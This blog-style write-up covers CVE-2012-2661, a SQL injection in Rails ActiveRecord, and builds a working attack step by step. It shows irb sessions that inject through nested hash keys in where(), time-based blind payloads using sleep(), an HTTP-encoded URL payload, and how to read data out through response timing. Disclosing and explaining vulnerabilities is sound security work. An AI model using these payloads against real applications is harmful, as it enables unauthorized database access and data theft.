A Write Up of the SQL Injection Vulnerability in Rails
Being a activerecord user, I spent some time working on CVE-2012-2661,and its exploitability…
At first I only thought I can get an authentication bypass if some conditions using hashes in the URL…
But I really wanted more out of this bug… this is the Ruby code I start working with:
require ‘active_record’
ActiveRecord::Base.establish_connection( :adapter => “mysql2", :host => “localhost”, :username => “webapp”, :password => “follow @pentesterlab, smartass” :database => “test” )
class User < ActiveRecord::Base
end
require ‘irb’
IRB.start()
Basically, with that I can get a database connection, a class using activerecord and start playing
So i thought I only had an authentication bypass by changing: User.where(:password => ‘password’ , :login =>’admin’).all
to User.where(:password => {‘users.id’ => 1} , :login =>’admin’).all
The main problem is that everything seems to be encoded correctly…
We need to go deeper…
But after more work and some discussions with @lukejahnke, an error message seems interesting for the following code: > User.where(:password => {‘mysql.user’ => {‘id’ => ‘1'}}, :login =>’admin’ ).all
ActiveRecord::StatementInvalid: Mysql2::Error: Access denied for user ‘webapp’@’localhost’ to database ‘mysql’: SHOW TABLES IN mysql LIKE ‘user’
We have an error here because webapp doesn’t have access to the table…
Let’s use root from now (to prevent this error and keep working on the payload)…
ActiveRecord::Base.establish_connection( :adapter => “mysql2", :host => “localhost”, :username => “root”, :password => “follow @pentesterlab, super smartass” :database => “test” )
> User.where(:password => {‘mysql plop.user’ => {‘id’ => ‘1'}}).all
ActiveRecord::StatementInvalid: Mysql2::Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘plop LIKE ‘user’’ at line 1: SHOW TABLES IN mysql plop LIKE ‘user’
We are now injecting in the first query… the one used to get the information out of the table before the select is performed…. UM NUM NUM :)
The value used in this request is then passed to the SELECT request which obviously fails…
Now as usual, time to read the Mysql documentation to get all the possible syntax accepted by show table
So, it’s possible to do show table in mysql where ….
And with some sleep(), you can get 2 queries:
- User.where(:password => {‘mysql where (select 1) or sleep(1) ; — .user’ => {‘id’ => ‘1234'}}).all which quickly throws an error
- User.where(:password => {‘mysql where (select 0) or sleep(1) ; — .user’ => {‘id’ => ‘1234'}}).all which throws an error after few seconds
Last thing, activerecord caches the result, so each request needs to be different (trivial to bypass)…
I hope this post provides enough details but not too much if you know what I mean…
- sleep(1) is called many times, you probably want to use something smaller than 1, but you can’t use a dot (“.”), an easy bypass is to use sleep(1/10) for example
- HTTP encoding: /?id[mysql%20where%20sleep(1/10)%20%3b%20—%20.user][1]=1
- You can use Talkback to get updates on the vulnerability: http://talkback.volvent.org/cgi-bin/view_vuln.cgi?id=CVE-2012-2661
I saw a question on reddit on what you can actually do: TLDR: You can dump information.
If you see the lines containing: “(select 0) or sleep(1) “ and “(select 1) or sleep(1)”
First, since “or” is used, the “sleep(1)” will only be reached if the first part of the statement is false (i.e. select 0).
The (select X) can be used to dump information. You can use it to do a blind SQL injection. You have 2 states (based on the response time), so you’re able to ask questions like: “is the first letter of the version a ‘5' ?”
If the response is fast, you know that this question returns true (like “select 1") and the sleep statement is never reached (since it’s a OR statement). If the response is slow, you know that this question returns false (like select 0) and the sleep statement was reached.
Edit: You should check out PentesterLab’s training on this bug: CVE-2012-2661: ActiveRecord SQL injection.
Email me when Ruby Weekly publishes stories
